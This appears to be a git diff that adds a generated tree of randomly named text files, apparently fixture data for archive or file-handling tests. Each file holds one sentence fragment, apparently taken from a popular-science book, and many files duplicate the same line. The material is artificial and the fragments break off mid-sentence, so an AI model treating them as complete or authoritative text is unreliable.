+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jlmwntprgmmgmtzoe.txt
@@ -0,0 +1 @@
+understand the nuclear physics that makes neutrinos, then we should be able to calculate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jzrttffqoxlexbowsmvljspw.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jzrttffqoxlexbowsmvljspw.txt
new file mode 100644
index 0000000..1fdb4fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jzrttffqoxlexbowsmvljspw.txt
@@ -0,0 +1 @@
+Step 11 in the dismantling of a molecule of sugar to extract energy, the currency that pays
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/kukoryqbbevpbpkjugijavfr.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/kukoryqbbevpbpkjugijavfr.txt
new file mode 100644
index 0000000..2931c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/kukoryqbbevpbpkjugijavfr.txt
@@ -0,0 +1 @@
+only that: the greater the curvature, the greater the difference in the shadow lengths. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/omhtxzqjxsxuiujqwzbrakzs.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/omhtxzqjxsxuiujqwzbrakzs.txt
new file mode 100644
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/pdgfermjtrnsbnzsnvxs.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/pdgfermjtrnsbnzsnvxs.txt
new file mode 100644
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/psijvseqxuixosd.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/psijvseqxuixosd.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/psijvseqxuixosd.txt
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diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/qpliussjrsvlepynccgq.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/qpliussjrsvlepynccgq.txt
new file mode 100644
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@@ -0,0 +1 @@
+- Tombstone epitaph of two amateur astronomers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/rdvidmpahogvujbe.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/rdvidmpahogvujbe.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/rdvidmpahogvujbe.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/tufpugpanunustmfbblmpo.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/tufpugpanunustmfbblmpo.txt
new file mode 100644
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--- /dev/null
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vobazerhdpjsmvl.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vobazerhdpjsmvl.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vobazerhdpjsmvl.txt
@@ -0,0 +1 @@
+slave societies, they set back the human enterprise. After a long mystical sleep in which the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vuartirnobtnp.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vuartirnobtnp.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/vuartirnobtnp.txt
@@ -0,0 +1 @@
+months to cross the ocean of the inner solar system and make planet-fall on Mars or Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/wrwzdxclrojvtalx.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/wrwzdxclrojvtalx.txt
new file mode 100644
index 0000000..8e12037
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/wrwzdxclrojvtalx.txt
@@ -0,0 +1 @@
+where the number is 10 24 or 10 34 . I wonder what they would know. Because we inhabit the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/xoyvqeaiddf.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/xoyvqeaiddf.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/xoyvqeaiddf.txt
@@ -0,0 +1 @@
+blast and the firestorm, the radiation and the fallout - although fallout does last for a longishtime: 90 percent of the strontium 90 will decay in 96 years; 90 percent of the cesium 137,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_btnmmevxhyfyej.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_btnmmevxhyfyej.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_btnmmevxhyfyej.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_duudpyiukozhyltpb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_duudpyiukozhyltpb.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_duudpyiukozhyltpb.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_ewhewvgofwzb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ewhewvgofwzb.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ewhewvgofwzb.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_foktzikgxlxdmnsoergobbu.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_foktzikgxlxdmnsoergobbu.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_foktzikgxlxdmnsoergobbu.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_htnlweqdlugvjeb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_htnlweqdlugvjeb.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_htnlweqdlugvjeb.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_jxbgchngkzixtuders.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_jxbgchngkzixtuders.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_jxbgchngkzixtuders.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_ktvmhxcbspqixglo.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ktvmhxcbspqixglo.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ktvmhxcbspqixglo.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_lhfdaxmeqswj.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_lhfdaxmeqswj.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_lhfdaxmeqswj.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_lplcazkokusfrdwfywrqo.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_lplcazkokusfrdwfywrqo.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_lplcazkokusfrdwfywrqo.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_myiyjbrjlxqpe.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_myiyjbrjlxqpe.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_myiyjbrjlxqpe.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_oclzaxmdyqwjxhp.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_oclzaxmdyqwjxhp.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_oclzaxmdyqwjxhp.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_ocwhqyosncyohdnsveyh.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ocwhqyosncyohdnsveyh.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_ocwhqyosncyohdnsveyh.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_qbxqnfva.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_qbxqnfva.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_qbxqnfva.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_rcdeorbuexiv.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_rcdeorbuexiv.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_rcdeorbuexiv.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_rzxslhcfmebclzf.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_rzxslhcfmebclzf.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_rzxslhcfmebclzf.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_stnvafctnecmaeux.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_stnvafctnecmaeux.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_stnvafctnecmaeux.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_tqlgpprzhlcrthhsuf.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_tqlgpprzhlcrthhsuf.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_tqlgpprzhlcrthhsuf.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_vvoqqphwljfppoqkqfxrnqxm.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_vvoqqphwljfppoqkqfxrnqxm.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_vvoqqphwljfppoqkqfxrnqxm.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_xhvjebpwwqpmsj.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xhvjebpwwqpmsj.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xhvjebpwwqpmsj.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_xomvfvqdozylnwgirz.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xomvfvqdozylnwgirz.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xomvfvqdozylnwgirz.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/file_xwnzivkcrpbdvrpxigcfy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xwnzivkcrpbdvrpxigcfy.txt
new file mode 100644
index 0000000..b539321
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/file_xwnzivkcrpbdvrpxigcfy.txt
@@ -0,0 +1 @@
+and the executive producer Adrian Malone; the artists Jon Lomberg (who played a critical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_btgpfhqigp.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_btgpfhqigp.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_btgpfhqigp.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hwoiqgldrdzp.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hwoiqgldrdzp.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hwoiqgldrdzp.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hxuaohkcnmzult.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hxuaohkcnmzult.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_hxuaohkcnmzult.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_jcwiqgpvrxc.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_jcwiqgpvrxc.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_jcwiqgpvrxc.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_kwrwjdwojnwjnasahntuy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_kwrwjdwojnwjnasahntuy.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_kwrwjdwojnwjnasahntuy.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_lbrlbihzshxrsfwzqntfde.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_lbrlbihzshxrsfwzqntfde.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_lbrlbihzshxrsfwzqntfde.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_mpsjchocleefhxduqgc.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_mpsjchocleefhxduqgc.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_mpsjchocleefhxduqgc.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ntpydjawpmryrerqfkcyf.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ntpydjawpmryrerqfkcyf.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ntpydjawpmryrerqfkcyf.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_otmicbicif.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_otmicbicif.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_otmicbicif.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_picnhtqrzb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_picnhtqrzb.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_picnhtqrzb.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_qwexgwlrjseorekdjacnrgt.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_qwexgwlrjseorekdjacnrgt.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_qwexgwlrjseorekdjacnrgt.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_rmnykwpsnlglwc.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_rmnykwpsnlglwc.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_rmnykwpsnlglwc.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ropppbfpkrza.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ropppbfpkrza.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ropppbfpkrza.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_vunuqnkhrtx.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_vunuqnkhrtx.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_vunuqnkhrtx.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ycpcvvtbdaadhr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ycpcvvtbdaadhr.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_ycpcvvtbdaadhr.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_zeescnultifwtybosqrwlpki.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_zeescnultifwtybosqrwlpki.txt
new file mode 100644
index 0000000..b63dcd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/file_zeescnultifwtybosqrwlpki.txt
@@ -0,0 +1 @@
+The Viking lander extends human capabilities to other and alien landscapes. By
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ahupxqcyrafzkmcnjhjpqyys.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ahupxqcyrafzkmcnjhjpqyys.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ahupxqcyrafzkmcnjhjpqyys.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_cvfjfbrwfkyqa.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_cvfjfbrwfkyqa.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_cvfjfbrwfkyqa.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ernpeszjodxc.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ernpeszjodxc.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_ernpeszjodxc.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_mothdlpnl.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_mothdlpnl.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_mothdlpnl.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_qfwixvedmvvvefe.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_qfwixvedmvvvefe.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_qfwixvedmvvvefe.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_redcicszlonecmat.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_redcicszlonecmat.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_redcicszlonecmat.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_rziyskdmvhlipvsbazw.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_rziyskdmvhlipvsbazw.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_rziyskdmvhlipvsbazw.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sdiofurodfzfeys.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sdiofurodfzfeys.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sdiofurodfzfeys.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sgfbwatoagodzg.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sgfbwatoagodzg.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_sgfbwatoagodzg.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_vrvfibfqaoodmjywapyav.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_vrvfibfqaoodmjywapyav.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_vrvfibfqaoodmjywapyav.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_wmkppjhpasecksxg.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_wmkppjhpasecksxg.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_wmkppjhpasecksxg.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_xbuveelzcmatoatlojxcm.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_xbuveelzcmatoatlojxcm.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
